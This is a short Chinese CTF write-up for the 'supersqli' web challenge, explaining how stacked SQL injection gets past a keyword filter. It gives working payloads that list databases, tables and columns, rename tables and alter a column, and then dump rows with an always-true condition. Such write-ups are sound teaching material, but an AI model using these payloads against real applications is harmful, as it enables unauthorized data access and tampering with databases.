web5_supersqli
key:SQL堆叠注入+表名修改rename
①题目打开后依旧是这个样子的👇
这题虽然还是SQL注入题,但是在旧版本中额外增设了一点难度
②和上一篇wp一样,几次尝试提交后得知是单引号闭合,字段数是2
随后尝试联合查询输入
提交inject=1' union select 1,2#后返回了这玩意👇
依旧是这个六亲不认的正则表达式
大小写?nos!双写绕过?nos!
③还是需要堆叠注入来查询全部的数据库名👇
1';show databases; #
查询全部表名👇
1';show tables; #
查看这个名字式数字的表存在哪些字段👇
1';show columns from`1919810931114514`;#
这里的表名为数字(字符串),我们要用反引号
④想办法查看这个flag字段
这里只有两个表,我们输入1查询出来的结果应该来自words表里
我们又可以通过1' or 1=1#查出这个表中的所有信息
所以这里的思路就是通过把表名1919810931114514改为words,把原来的words表名改成别的名
因为因为没有限制alter,rename和change,所以可以通过修改表名来查flag👇
1';rename tables words to Mitchell;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);#
这里把1919810931114514改成了words,把words改成了Mitchell
⑤最后用永真表达式来爆字段
1' or 1=1#
得出flag👇